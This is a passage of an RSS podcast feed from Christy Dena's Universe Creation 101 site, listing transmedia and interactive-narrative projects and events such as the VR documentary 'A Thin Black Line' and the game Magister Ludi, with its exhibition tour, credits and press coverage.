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	<title>Universe Creation 101</title>
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	<link>https://www.universecreation101.com</link>
	<description>The creation of playful stories and events</description>
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	<url>https://www.universecreation101.com/wp-content/uploads/2020/05/cropped-UC101_Logo-scaled-1-32x32.jpg</url>
	<title>Universe Creation 101</title>
	<link>https://www.universecreation101.com</link>
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	<itunes:explicit>no</itunes:explicit><copyright>share, use, cite</copyright><itunes:keywords>entertainment,books,film,TV,convergence,virtual,worlds,Second,Life,360,content,cross,media,transmedia</itunes:keywords><itunes:summary>Christy Dena interviews top cross-media entertainment practitioners, producers and business people from around the world to help you create an amazing transmedia property.</itunes:summary><itunes:subtitle>Christy Dena interviews top cross-media entertainment practitioners, producers and business people from around the world to help you create an amazing transmedia property.</itunes:subtitle><itunes:category text="TV &amp; Film"/><itunes:category text="Arts"><itunes:category text="Literature"/></itunes:category><itunes:category text="Education"/><itunes:category text="Arts"><itunes:category text="Performing Arts"/></itunes:category><itunes:category text="Business"><itunes:category text="Management &amp; Marketing"/></itunes:category><itunes:author>Christy Dena</itunes:author><item>
		<title>Extended Experiences Lab</title>
		<link>https://www.universecreation101.com/extended-experiences-lab/</link>
		
		
		<pubDate>Sat, 03 Mar 2018 11:03:09 +0000</pubDate>
				<category><![CDATA[> Events]]></category>
		<guid isPermaLink="false">https://www.universecreation101.com/?p=3300</guid>

					<description><![CDATA[The Extended Experiences Lab is a workshop and commissioned immersive events around films. In partnership with the West End Film Festival, and funded by Screen Queensland and Universe Creation 101, the lab will commission creative teams to extend a selection of finalists at the festival. Those teams will create a pre- or post-experience around a ... <a title="Extended Experiences Lab" class="read-more" href="https://www.universecreation101.com/extended-experiences-lab/">Read more<span class="screen-reader-text">Extended Experiences Lab</span></a>]]></description>
										<content:encoded><![CDATA[<p>The Extended Experiences Lab is a workshop and commissioned immersive events around films. In partnership with the West End Film Festival, and funded by Screen Queensland and Universe Creation 101, the lab will commission creative teams to extend a selection of finalists at the festival. Those teams will create a pre- or post-experience around a film. Films include features, shorts, animations, experimental, documentary and music video. Any creatives can also apply to do the workshop too, where they can learn how to extend their creative project (whether it is film or not).</p>
<p><img fetchpriority="high" decoding="async" class="aligncenter size-large wp-image-3301" src="https://www.universecreation101.com/wp-content/uploads/2018/03/EXLab_Banner-1024x299.png" alt="" width="720" height="210" srcset="https://www.universecreation101.com/wp-content/uploads/2018/03/EXLab_Banner-1024x299.png 1024w, https://www.universecreation101.com/wp-content/uploads/2018/03/EXLab_Banner-300x88.png 300w, https://www.universecreation101.com/wp-content/uploads/2018/03/EXLab_Banner-768x224.png 768w, https://www.universecreation101.com/wp-content/uploads/2018/03/EXLab_Banner-210x61.png 210w, https://www.universecreation101.com/wp-content/uploads/2018/03/EXLab_Banner.png 1200w" sizes="(max-width: 720px) 100vw, 720px" /></p>
]]></content:encoded>
					
		
		
			<dc:creator>Christy Dena</dc:creator></item>
		<item>
		<title>A Thin Black Line</title>
		<link>https://www.universecreation101.com/a-thin-black-line/</link>
		
		
		<pubDate>Sat, 03 Mar 2018 10:46:44 +0000</pubDate>
				<category><![CDATA[> Interactive]]></category>
		<category><![CDATA[> VR]]></category>
		<category><![CDATA[Writing]]></category>
		<guid isPermaLink="false">https://www.universecreation101.com/?p=3295</guid>

					<description><![CDATA[A 12 minute animated documentary VR project for SBS (Gear VR, Go), I was brought in as a Narrative Design consultant by VRTOV. I worked with Douglas Watkin, Oscar Raby, Katy Morrison, and Brooke Mags. An animated documentary in interactive VR, A Thin Black Line is directed by Douglas Watkin with artwork by Vernon Ah Kee and is ... <a title="A Thin Black Line" class="read-more" href="https://www.universecreation101.com/a-thin-black-line/">Read more<span class="screen-reader-text">A Thin Black Line</span></a>]]></description>
										<content:encoded><![CDATA[<p>A 12 minute animated documentary VR project for SBS (Gear VR, Go), I was brought in as a Narrative Design consultant by <a href="http://vrtov.com/">VRTOV</a>. I worked with Douglas Watkin, Oscar Raby, Katy Morrison, and Brooke Mags.</p>
<blockquote><p>An animated documentary in interactive VR, <em>A Thin Black Line</em> is directed by Douglas Watkin with artwork by Vernon Ah Kee and is produced by the VR production studio VRTOV.</p>
<p><em>A Thin Black Line</em> invites you to step into a pivotal event in the history of one family, and a nation, as seen by a young child. The bombing of Darwin in 1942 was the first and largest aerial attack on mainland Australia during the Second World War. When the bombs reach Patima’s hometown, she is forced to flee, leaving her father behind.</p>
<p><em>A Thin Black Line </em>has been commissioned by SBS with support from Screen Queensland as part of their <i>Untold Australia</i> series which offers uniquely personal stories from some of Australia’s diverse communities.</p></blockquote>
<ul>
<li><a href="https://vrtov.com/a-thin-black-line" target="_blank" rel="noopener noreferrer">VRTOV Project Page</a></li>
<li><a href="https://www.oculus.com/experiences/go/1695996763773535/" target="_blank" rel="noopener noreferrer">Oculus Store</a></li>
<li><a href="https://www.sbs.com.au/aboutus/news-media-releases/view/id/2014/h/SBS-VR-launches-Untold-Australia-season-two-with-world-first-virtual-reality-project-Inside-Manus">SBS Press Release</a></li>
<li><a href="https://www.acmi.net.au/collection/works/thin-black-line/">ACMI exhibition</a></li>
<li><a href="https://www.doclab.org/2017/a-thin-black-line/">IDFA DocLab</a></li>
</ul>
<p><iframe src="https://www.youtube.com/embed/LXJRv--8MUk" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen"></iframe></p>
<p><iframe src="https://www.youtube.com/embed/RFAiSh4O0MY" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen"></iframe></p>
<p><iframe loading="lazy" src="https://www.youtube.com/embed/MkX-T_9WhJ8" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen"></iframe></p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-3298" src="https://www.universecreation101.com/wp-content/uploads/2018/03/AThinBlackLine.jpg" alt="" width="280" height="210" srcset="https://www.universecreation101.com/wp-content/uploads/2018/03/AThinBlackLine.jpg 280w, https://www.universecreation101.com/wp-content/uploads/2018/03/AThinBlackLine-210x158.jpg 210w" sizes="auto, (max-width: 280px) 100vw, 280px" /></p>
]]></content:encoded>
					
		
		
			<dc:creator>Christy Dena</dc:creator></item>
		<item>
		<title>8 Word Story</title>
		<link>https://www.universecreation101.com/caterpillar-8-word-story/</link>
		
		
		<pubDate>Sat, 03 Mar 2018 10:35:20 +0000</pubDate>
				<category><![CDATA[> Installations]]></category>
		<category><![CDATA[(Selected) Creative Works]]></category>
		<category><![CDATA[Writing]]></category>
		<guid isPermaLink="false">https://www.universecreation101.com/?p=3289</guid>

					<description><![CDATA[On 10th October 2017, The Queensland Writers&#8217; Centre opened submissions for a special story competition. Called &#8220;8 Word Story&#8221;, the competition invited writers to submit a story in 8 words maximum. If selected, it would be displayed on digital billboards around Brisbane. Mine was selected, and broadcast on 24th October to multiple locations. There were over ... <a title="8 Word Story" class="read-more" href="https://www.universecreation101.com/caterpillar-8-word-story/">Read more<span class="screen-reader-text">8 Word Story</span></a>]]></description>
										<content:encoded><![CDATA[<p>On 10th October 2017, The Queensland Writers&#8217; Centre opened submissions for a special story competition. Called &#8220;8 Word Story&#8221;, the competition invited writers to submit a story in 8 words maximum. If selected, it would be displayed on digital billboards around Brisbane. Mine was selected, and broadcast on 24th October to multiple locations. There were over 10,000 entries.</p>
<ul>
<li><a href="https://8wordstory.com/about/">Main website</a></li>
<li><a href="https://8wordstory.com/story/the-executioner-was-confused-by-the-giggling-caterpillar/">My entry on the website</a></li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-3292" src="https://www.universecreation101.com/wp-content/uploads/2018/03/Billboard3.jpg" alt="" width="960" height="638" srcset="https://www.universecreation101.com/wp-content/uploads/2018/03/Billboard3.jpg 960w, https://www.universecreation101.com/wp-content/uploads/2018/03/Billboard3-300x199.jpg 300w, https://www.universecreation101.com/wp-content/uploads/2018/03/Billboard3-768x510.jpg 768w, https://www.universecreation101.com/wp-content/uploads/2018/03/Billboard3-210x140.jpg 210w" sizes="auto, (max-width: 960px) 100vw, 960px" /></p>
<p><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-3291" src="https://www.universecreation101.com/wp-content/uploads/2018/03/Billboard2-1024x768.jpg" alt="" width="720" height="540" srcset="https://www.universecreation101.com/wp-content/uploads/2018/03/Billboard2-1024x768.jpg 1024w, https://www.universecreation101.com/wp-content/uploads/2018/03/Billboard2-300x225.jpg 300w, https://www.universecreation101.com/wp-content/uploads/2018/03/Billboard2-768x576.jpg 768w, https://www.universecreation101.com/wp-content/uploads/2018/03/Billboard2-210x158.jpg 210w" sizes="auto, (max-width: 720px) 100vw, 720px" /></p>
<p><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-3293" src="https://www.universecreation101.com/wp-content/uploads/2018/03/abbotsford-cover-1024x411.jpg" alt="" width="720" height="289" srcset="https://www.universecreation101.com/wp-content/uploads/2018/03/abbotsford-cover-1024x411.jpg 1024w, https://www.universecreation101.com/wp-content/uploads/2018/03/abbotsford-cover-300x120.jpg 300w, https://www.universecreation101.com/wp-content/uploads/2018/03/abbotsford-cover-768x308.jpg 768w, https://www.universecreation101.com/wp-content/uploads/2018/03/abbotsford-cover-210x84.jpg 210w, https://www.universecreation101.com/wp-content/uploads/2018/03/abbotsford-cover.jpg 1504w" sizes="auto, (max-width: 720px) 100vw, 720px" /></p>
]]></content:encoded>
					
		
		
			<dc:creator>Christy Dena</dc:creator></item>
		<item>
		<title>Crafting Intangibles</title>
		<link>https://www.universecreation101.com/crafting-intangibles/</link>
		
		
		<pubDate>Thu, 27 Apr 2017 12:07:21 +0000</pubDate>
				<category><![CDATA[> Events]]></category>
		<category><![CDATA[> Interactive]]></category>
		<category><![CDATA[> Online]]></category>
		<guid isPermaLink="false">https://www.universecreation101.com/?p=3255</guid>

					<description><![CDATA[&#160; Crafting Intangibles is an online international and local event exploring interactive narrative design, being held on June 10th-11th, 2017. The event is sponsored by Screen Queensland, and features some of the most accomplished and inspiring creatives who will help clarify and stretch our understanding of narrative design. Speakers include Brie Code (Child of Light, Assassin&#8217;s Creed, ... <a title="Crafting Intangibles" class="read-more" href="https://www.universecreation101.com/crafting-intangibles/">Read more<span class="screen-reader-text">Crafting Intangibles</span></a>]]></description>
										<content:encoded><![CDATA[<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-3256" src="https://www.universecreation101.com/wp-content/uploads/2017/04/Crafting_intangibles_header2.png" alt="" width="1349" height="485" srcset="https://www.universecreation101.com/wp-content/uploads/2017/04/Crafting_intangibles_header2.png 1349w, https://www.universecreation101.com/wp-content/uploads/2017/04/Crafting_intangibles_header2-300x108.png 300w, https://www.universecreation101.com/wp-content/uploads/2017/04/Crafting_intangibles_header2-768x276.png 768w, https://www.universecreation101.com/wp-content/uploads/2017/04/Crafting_intangibles_header2-1024x368.png 1024w, https://www.universecreation101.com/wp-content/uploads/2017/04/Crafting_intangibles_header2-210x76.png 210w" sizes="auto, (max-width: 1349px) 100vw, 1349px" /></p>
<p>&nbsp;</p>
<p><i>Crafting Intangibles is an online international and local event exploring interactive narrative design, being held on June 10th-11th, 2017. The event is sponsored by Screen Queensland, and features some of the most accomplished and inspiring creatives who will help clarify and stretch our understanding of narrative design. </i></p>
<p><i>Speakers include </i><i><span class="gmail-m_-4043970395015223625gmail-m_-1823729231203095701gmail-markup--em gmail-m_-4043970395015223625gmail-m_-1823729231203095701gmail-markup--p-em">Brie Code (Child of Light, Assassin&#8217;s Creed, Company of Heroes), </span></i><i><span class="gmail-m_-4043970395015223625gmail-m_-1823729231203095701gmail-markup--em gmail-m_-4043970395015223625gmail-m_-1823729231203095701gmail-markup--p-em">Peter Dunne (</span></i><em class="gmail-markup--em gmail-markup--p-em">CSI: Crime Scene Investigation, Melrose Place, JAG), </em><i><span class="gmail-m_-4043970395015223625gmail-m_-1823729231203095701gmail-markup--em gmail-m_-4043970395015223625gmail-m_-1823729231203095701gmail-markup--p-em">Brian Upton (Rainbow Six, Ghost Recon), </span></i><i><span class="gmail-m_-4043970395015223625gmail-m_-1823729231203095701gmail-markup--em gmail-m_-4043970395015223625gmail-m_-1823729231203095701gmail-markup--p-em">Chris Avellone (</span><span class="gmail-m_-4043970395015223625gmail-m_-1823729231203095701gmail-markup--em gmail-m_-4043970395015223625gmail-m_-1823729231203095701gmail-markup--p-em">P</span><span class="gmail-m_-4043970395015223625gmail-m_-1823729231203095701gmail-markup--em gmail-m_-4043970395015223625gmail-m_-1823729231203095701gmail-markup--p-em">lanescape: Torment, Star Wars: Knights of the Old Republic II: The Sith Lords, Fallout (2 and New Vegas</span><span class="gmail-m_-4043970395015223625gmail-m_-1823729231203095701gmail-markup--em gmail-m_-4043970395015223625gmail-m_-1823729231203095701gmail-markup--p-em">)</span><span class="gmail-m_-4043970395015223625gmail-m_-1823729231203095701gmail-markup--em gmail-m_-4043970395015223625gmail-m_-1823729231203095701gmail-markup--p-em">, and many others. The videos will feature new perspectives and an activity prompt. Everyone can join in online for the event, and a special local event will be held in Brisbane, Australia. Tickets at <a href="http://www.craftingintangibles.co/" target="_blank" rel="noopener noreferrer">http://www.CraftingIntangib<wbr />les.co</a></span></i></p>
<p>&nbsp;</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-3257" src="https://www.universecreation101.com/wp-content/uploads/2017/04/CILogolarge.png" alt="" width="240" height="240" srcset="https://www.universecreation101.com/wp-content/uploads/2017/04/CILogolarge.png 240w, https://www.universecreation101.com/wp-content/uploads/2017/04/CILogolarge-150x150.png 150w, https://www.universecreation101.com/wp-content/uploads/2017/04/CILogolarge-210x210.png 210w" sizes="auto, (max-width: 240px) 100vw, 240px" /></p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-3261" src="https://www.universecreation101.com/wp-content/uploads/2017/04/IMG_9889.jpg" alt="" width="3072" height="2048" srcset="https://www.universecreation101.com/wp-content/uploads/2017/04/IMG_9889.jpg 3072w, https://www.universecreation101.com/wp-content/uploads/2017/04/IMG_9889-300x200.jpg 300w, https://www.universecreation101.com/wp-content/uploads/2017/04/IMG_9889-768x512.jpg 768w, https://www.universecreation101.com/wp-content/uploads/2017/04/IMG_9889-1024x683.jpg 1024w, https://www.universecreation101.com/wp-content/uploads/2017/04/IMG_9889-210x140.jpg 210w" sizes="auto, (max-width: 3072px) 100vw, 3072px" /></p>
]]></content:encoded>
					
		
		
			<dc:creator>Christy Dena</dc:creator></item>
		<item>
		<title>‘Magister Ludi’ for Experimenta’s International Biennial of Media Art</title>
		<link>https://www.universecreation101.com/magister-ludi/</link>
					<comments>https://www.universecreation101.com/magister-ludi/#respond</comments>
		
		
		<pubDate>Mon, 10 Oct 2016 07:18:12 +0000</pubDate>
				<category><![CDATA[> Apps]]></category>
		<category><![CDATA[> Installations]]></category>
		<category><![CDATA[(Selected) Creative Works]]></category>
		<guid isPermaLink="false">https://www.universecreation101.com/?p=2847</guid>

					<description><![CDATA[Magister Ludi is a comedic game about our role in escape, that is a touring installation and is available for the iPad, and online (update: May 2015. Due to changes to Chrome where Unity web player cannot be used, view in any browser but Chrome). The game was commissioned for Experimenta&#8217;s 2015 International Biennial of Media Art: Recharge, is ... <a title="&#8216;Magister Ludi&#8217; for Experimenta&#8217;s International Biennial of Media Art" class="read-more" href="https://www.universecreation101.com/magister-ludi/">Read more<span class="screen-reader-text">&#8216;Magister Ludi&#8217; for Experimenta&#8217;s International Biennial of Media Art</span></a>]]></description>
										<content:encoded><![CDATA[<p><a href="http://www.magisterludigame.com/"><strong>Magister Ludi</strong></a> is a comedic game about our role in escape, that is a touring installation and is <a href="https://itunes.apple.com/au/app/magister-ludi-game/id1031562918?mt=8" target="_blank" rel="noopener noreferrer">available for the iPad</a>, and <a href="http://www.magisterludigame.com/" target="_blank" rel="noopener noreferrer">online</a> (update: May 2015. Due to changes to Chrome where Unity web player cannot be used, view in any browser but Chrome). The game was commissioned for <strong><a href="http://experimenta.org/recharge/" target="_blank" rel="noopener noreferrer">Experimenta&#8217;s 2015 International Biennial of Media Art: Recharge</a></strong>, is <strong>Finalist for the &#8216;Digital Narrative&#8217; category of the <a href="http://pba.slwa.wa.gov.au/">2016 WA Premier&#8217;s Book Prize</a></strong>, was <strong>Finalist for the 2015 <a href="http://newmediawritingprize.co.uk/?page_id=557" target="_blank" rel="noopener noreferrer">International New Media Writing Prize</a></strong> (UK), <strong><a href="http://babycastles.com/event/cara_ellison_embed_with_games_book_launch_party" target="_blank" rel="noopener noreferrer">Exhibited at Babycastles</a></strong> (NYC) for Cara Ellison&#8217;s 2015 &#8216;Embed with Games&#8217; book launch, and was <strong>Official Selection for the 2014 <a href="http://freeplayfestival.tumblr.com/" target="_blank" rel="noopener noreferrer">Freeplay Independent Games Festival&#8217;s Parallels event at ACMI</a></strong>. &#8220;Magister Ludi&#8221; is an online game and installation that puts a twist on the escape-the-room genre with a wry narrator and design that interrogates our role in needing to escape. It is informed by my experience in getting through a PhD, getting over an abusive relationship, and getting away from poverty. It is about the thought-processes that stay with you long after the problems are around, and so you don&#8217;t truly escape until you deal with them. The title is an allusion to Herman Hesse&#8217;s Nobel-prize-winning novel &#8220;<a href="http://en.wikipedia.org/wiki/The_Glass_Bead_Game" target="_blank" rel="noopener noreferrer">The Glass Bead Game</a>,&#8221; and Magister Ludi plays with the idea of the conceptual game depicted in the novel. It launched in the exhibition and online in late November, 2014.</p>
<p>Magister Ludi is <a href="https://itunes.apple.com/au/app/magister-ludi-game/id1031562918?mt=8" target="_blank" rel="noopener noreferrer">now available in the iTunes App store</a>, and currently touring around Australia for the Experimenta tour:</p>
<ul>
<li>It opened at the <strong>RMIT Gallery in Melbourne</strong></li>
<li>and I did an artist talk
<ul>
<li>Part of <strong><a href="http://whitenightmelbourne.com.au/event/experimenta-recharge/" target="_blank" rel="noopener noreferrer">White Night Melbourne</a></strong></li>
</ul>
</li>
<li><a href="http://www.artsmildura.com.au/Mildura-Wentworth-Arts-Festival/Program/Syzygy-Ensemble-Concert.aspx" target="_blank" rel="noopener noreferrer">Arts Mildura </a><a href="http://www.artsmildura.com.au/Mildura-Wentworth-Arts-Festival/Program/Syzygy-Ensemble-Concert.aspx" target="_blank" rel="noopener noreferrer">5 MARCH – 12 APRIL 2015</a></li>
<li><a href="http://www.thelockup.org.au/whats-on/experimenta" target="_blank" rel="noopener noreferrer">THE LOCK UP, NEWCASTLE, NSW </a><a href="http://www.thelockup.org.au/whats-on/experimenta" target="_blank" rel="noopener noreferrer">10 JULY – 9 AUGUST 2015</a></li>
<li><a href="http://www.ciprecinct.qut.edu.au/whatson/archive/2015/experimenta-recharge.jsp" target="_blank" rel="noopener noreferrer">QUT CREATIVE INDUSTRIES PRECINCT, BRISBANE </a><a href="http://www.ciprecinct.qut.edu.au/whatson/archive/2015/experimenta-recharge.jsp" target="_blank" rel="noopener noreferrer">25 AUGUST – 26 SEPTEMBER 2015</a>
<ul>
<li>I did an artist talk at The Glasshouse on Thursday 27 August for a <a href="http://www.ciprecinct.qut.edu.au/whatson/archive/2015/recharge.jsp">panel discussion</a> with Jonathan Parsons, Artistic Director of Experimenta, and artists featured in <span class="bold italic">Experimenta Recharge</span>; Svenja Kratz, Christy Dena and Cake Industries.</li>
<li>It was part of <a href="http://www.brisbanefestival.com.au/whats-on/experimenta-recharge" target="_blank" rel="noopener noreferrer">The Brisbane Festival &#8211; 5-26th September</a></li>
</ul>
</li>
<li> <a href="http://www.cairnsregionalgallery.com.au/exhibitions.html" target="_blank" rel="noopener noreferrer">Cairns regional gallery, qld </a><a href="http://www.cairnsregionalgallery.com.au/exhibitions.html" target="_blank" rel="noopener noreferrer">10 october – 22 november 2015</a></li>
<li>Featured in <strong>Cara Ellison&#8217;s &#8216;Embed with Games&#8217; book <a href="http://babycastles.com/event/cara_ellison_embed_with_games_book_launch_party" target="_blank" rel="noopener noreferrer">launch at Babycastles in New York</a> </strong>on 23rd Nov. <a href="http://www.birlinn.co.uk/Embed-with-Games.html" target="_blank" rel="noopener noreferrer">The book includes interviews</a> with myself and the artist Marigold Bartlett about the game.</li>
<li> <a href="http://www.thewag.com.au/" target="_blank" rel="noopener noreferrer">warnambool art gallery, vic </a><a href="http://www.thewag.com.au/" target="_blank" rel="noopener noreferrer">5 december 2015 – 7 february 2016</a></li>
<li> <a href="http://www.alburycity.nsw.gov.au/leisure-and-culture/libraries-and-museum" target="_blank" rel="noopener noreferrer">albury regional gallery and librarymuseum, vic </a><a href="http://www.alburycity.nsw.gov.au/leisure-and-culture/libraries-and-museum" target="_blank" rel="noopener noreferrer">27 February – 17 april 2016</a></li>
<li> <a href="http://www.latroberegionalgallery.com/exhibitions.php" target="_blank" rel="noopener noreferrer">latrobe regional gallery, vic </a> <a href="http://www.latroberegionalgallery.com/exhibitions.php" target="_blank" rel="noopener noreferrer">7 May – 10 july 2016</a></li>
<li> <a href="http://www.unisa.edu.au/samstagmuseum" target="_blank" rel="noopener noreferrer">anne &amp; gordon stamstag museum of art, adelaide </a> <a href="http://www.unisa.edu.au/Business-community/Samstag-Museum/Exhibitions/19082016-Experimenta-Recharge/" target="_blank" rel="noopener noreferrer">19 august – 23 september 2016</a></li>
<li><a href="http://contours-exhibition.com/">Contours Exhibition, curated by Chad Toprak, Gallery, Level 1, Library at the Dock, Melbourne, 10 October &#8211; 10 November, 2016</a></li>
</ul>
<p><a href="https://www.universecreation101.com/wp-content/uploads/2014/09/ML_bedroom_new_obj_states.png"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-2687" src="https://www.universecreation101.com/wp-content/uploads/2014/09/ML_bedroom_new_obj_states-1024x576.png" alt="ML_bedroom_new_obj_states" width="525" height="295" srcset="https://www.universecreation101.com/wp-content/uploads/2014/09/ML_bedroom_new_obj_states-1024x576.png 1024w, https://www.universecreation101.com/wp-content/uploads/2014/09/ML_bedroom_new_obj_states-300x168.png 300w, https://www.universecreation101.com/wp-content/uploads/2014/09/ML_bedroom_new_obj_states.png 1920w" sizes="auto, (max-width: 525px) 100vw, 525px" /></a></p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-2724" src="https://www.universecreation101.com/wp-content/uploads/2014/09/RaymondZada.jpg" alt="RaymondZada" width="640" height="480" srcset="https://www.universecreation101.com/wp-content/uploads/2014/09/RaymondZada.jpg 960w, https://www.universecreation101.com/wp-content/uploads/2014/09/RaymondZada-300x225.jpg 300w" sizes="auto, (max-width: 640px) 100vw, 640px" /></p>
<p>Experimenta Trailer:</p>
<p><iframe loading="lazy" src="https://www.youtube.com/embed/gTagAvIbvv0" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen"></iframe></p>
<p>Freeplay Parallels Trailer:</p>
<p><iframe loading="lazy" src="//www.youtube.com/embed/ioxMi_shhh0?rel=0" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen"></iframe><br />
<strong><br />
</strong></p>
<p>Experimenta interview:</p>
<p><iframe loading="lazy" src="https://www.youtube.com/embed/dGcD9eTG2go" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen"></iframe></p>
<p><a href="https://experimenta.org/wp-content/uploads/2016/04/EXPERIMENTA-RECHARGE-CATALOGUE-LR.pdf" target="_blank" rel="noopener noreferrer">Project Catalogue</a></p>
<p><strong>Credits</strong></p>
<p><a href="http://www.christydena.com" target="_blank" rel="noopener noreferrer">Christy Dena</a> &#8211; writer, designer, director<br />
<a href="http://ghosttowngoldie.tumblr.com/" target="_blank" rel="noopener noreferrer">Marigold Bartlett</a> &#8211; visual artist<br />
<a href="http://soundplayinteractive.com/" target="_blank" rel="noopener noreferrer">Trevor Dikes</a> &#8211; sound designer &amp; composer<br />
<a href="http://www.taildrift.com/" target="_blank" rel="noopener noreferrer">Cameron Owen</a> &#8211; programmer<br />
Iain McManus &#8211; app port programmer</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-2725" src="https://www.universecreation101.com/wp-content/uploads/2014/09/photo-3-1.jpg" alt="photo 3 (1)" width="640" height="480" srcset="https://www.universecreation101.com/wp-content/uploads/2014/09/photo-3-1.jpg 640w, https://www.universecreation101.com/wp-content/uploads/2014/09/photo-3-1-300x225.jpg 300w" sizes="auto, (max-width: 640px) 100vw, 640px" /></p>
<p><strong>Design</strong></p>
<p>Drawing on the escape-the-room phenomenon, I created a space that is about escape. However, since I wanted the emphasis to be on our role in needing to escape I changed the mechanics. Instead of solving puzzles through opening objects and moving them around to unlock puzzles, the player places objects in the room. The movement of objects is further complicated by what they mean. So the player needs to see whether adding to the room (or taking away) actually helps them or not. Indeed they&#8217;re not really escaping a room, instead they&#8217;re constructing their world in a manner that either denies their needs or places them on the path to self-sufficiency.</p>
<p>The full writing and interactions spreadsheets are available here (spoilers):</p>
<p>Room 1: <a href="https://www.universecreation101.com/wp-content/uploads/2014/09/MagisterLudiGame_WritingandInteractions_SchoolRoomData.pdf">MagisterLudiGame_WritingandInteractions_SchoolRoomData<br />
</a>Room 2: <a href="https://www.universecreation101.com/wp-content/uploads/2014/09/MagisterLudiGame_WritingandInteractions_BedroomData.pdf">MagisterLudiGame_WritingandInteractions_BedroomData</a><a href="https://www.universecreation101.com/wp-content/uploads/2014/09/MagisterLudiGame_WritingandInteractions_SchoolRoomData.pdf"><br />
</a>Room 3: <a href="https://www.universecreation101.com/wp-content/uploads/2014/09/MagisterLudiGame_WritingandInteractions_EmptyRoomData.pdf">MagisterLudiGame_WritingandInteractions_EmptyRoomData</a></p>
<p><strong>Press</strong></p>
<ul>
<li><em><strong>White Night Melbourne</strong></em>, &#8216;<a href="http://whitenightmelbourne.com.au/event/experimenta-recharge/" target="_blank" rel="noopener noreferrer">Experimenta Recharge</a>&#8216; &#8211; Feb, 2015</li>
<li><em><strong>Embed With&#8230;</strong></em>, &#8216;<a href="http://embedwith.tumblr.com/post/109717186587/embed-with-marigold-bartlett-and-christy-dena" target="_blank" rel="noopener noreferrer">Embed With&#8230;Marigold Bartlett and Christy Dena</a>&#8216; &#8211; Cara Ellison, 31 Jan, 2015</li>
<li><em><strong>Aphra Magazine</strong></em>, &#8216;<a href="http://www.aphramag.com/experimenta-international-heartbreak/" target="_blank" rel="noopener noreferrer">Experimenta: International Heartbreak</a>&#8216; &#8211; India Rose, 19 Jan, 2015</li>
<li><em><strong>RealTime Arts Magazine</strong></em>, &#8216;<a href="http://www.realtimearts.net/article/124/11760" target="_blank" rel="noopener noreferrer">Experimentation with Added Spark</a>&#8216; &#8211; Darren Tofts, Dec-Jan 2014-15</li>
<li><em><strong>SimonStaffans.com</strong></em>, &#8216;<a href="http://simonstaffans.com/2015/01/01/one-year-in-now-media-vol-iv/" target="_blank" rel="noopener noreferrer">One Year In: Now Media Vol IV</a>&#8216; &#8211; Simon Staffans, 1 January, 2015</li>
<li><strong><em>Blouin Art Info</em></strong>, &#8216;<a href="http://au.blouinartinfo.com/news/story/1066470/interview-jonathan-parsons-on-experimenta-recharge-and-media" target="_blank" rel="noopener noreferrer">INTERVIEW: Jonathan Parsons on Experimenta “Recharge” and Media Art</a>&#8216; &#8211; Nicholas Forrest, 5 December 2014</li>
<li><em><strong>Spook Magazine</strong></em>, &#8216;<a href="http://www.spookmagazine.com/future-now-experimental-media-takes-over-rmit/" target="_blank" rel="noopener noreferrer">Future Now: Experimental Media takes over RMIT</a>&#8216; &#8211; Spook, 12 November 2014</li>
<li><strong><em>Crikey</em></strong>, &#8216;<a href="http://dailyreview.crikey.com.au/freeplay/14283" target="_blank" rel="noopener noreferrer">Freeplay Celebrates with 12 New Home-Grown Games</a>&#8216; &#8211; Peter Green, 22 October 2014</li>
<li><strong><em>Time Out Magazine</em></strong>, &#8216;<a href="http://www.au.timeout.com/melbourne/art/events/12790/experimenta-recharge" target="_blank" rel="noopener noreferrer">Experimenta Recharge</a>&#8216; &#8211; Finn Houlihan, 1 October 2014</li>
<li><strong><em>Fluoro</em></strong>, &#8216;<a href="http://www.fluorodigital.com/2014/09/recharge/" target="_blank" rel="noopener noreferrer">Recharge: Experimenta&#8217;s 6th International Biennial of Media Art</a>&#8216; &#8211; 30 Sept, 2014</li>
<li><strong><em>Game Cloud</em></strong>, &#8216;<a href="http://gamecloud.net.au/featured/events/designing-deep-games-with-christy-dena" target="_blank" rel="noopener noreferrer">Designing Deep Games with Christy Dena</a>&#8216; &#8211; Kirk William, 28 Sept, 2014</li>
</ul>
<p><a href="https://www.universecreation101.com/wp-content/uploads/2014/09/photo-4-1.jpg"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-2726" src="https://www.universecreation101.com/wp-content/uploads/2014/09/photo-4-1.jpg" alt="photo 4 (1)" width="640" height="480" srcset="https://www.universecreation101.com/wp-content/uploads/2014/09/photo-4-1.jpg 640w, https://www.universecreation101.com/wp-content/uploads/2014/09/photo-4-1-300x225.jpg 300w" sizes="auto, (max-width: 640px) 100vw, 640px" /></a></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.universecreation101.com/magister-ludi/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			<dc:creator>Christy Dena</dc:creator><enclosure length="79963" type="application/pdf" url="https://www.universecreation101.com/wp-content/uploads/2014/09/MagisterLudiGame_WritingandInteractions_SchoolRoomData.pdf"/><itunes:explicit>no</itunes:explicit><itunes:subtitle>Magister Ludi is a comedic game about our role in escape, that is a touring installation and is available for the iPad, and online (update: May 2015. Due to changes to Chrome where Unity web player cannot be used, view in any browser but Chrome). The game was commissioned for Experimenta&amp;#8217;s 2015 International Biennial of Media Art: Recharge, is ... Read more&amp;#8216;Magister Ludi&amp;#8217; for Experimenta&amp;#8217;s International Biennial of Media Art</itunes:subtitle><itunes:author>Christy Dena</itunes:author><itunes:summary>Magister Ludi is a comedic game about our role in escape, that is a touring installation and is available for the iPad, and online (update: May 2015. Due to changes to Chrome where Unity web player cannot be used, view in any browser but Chrome). The game was commissioned for Experimenta&amp;#8217;s 2015 International Biennial of 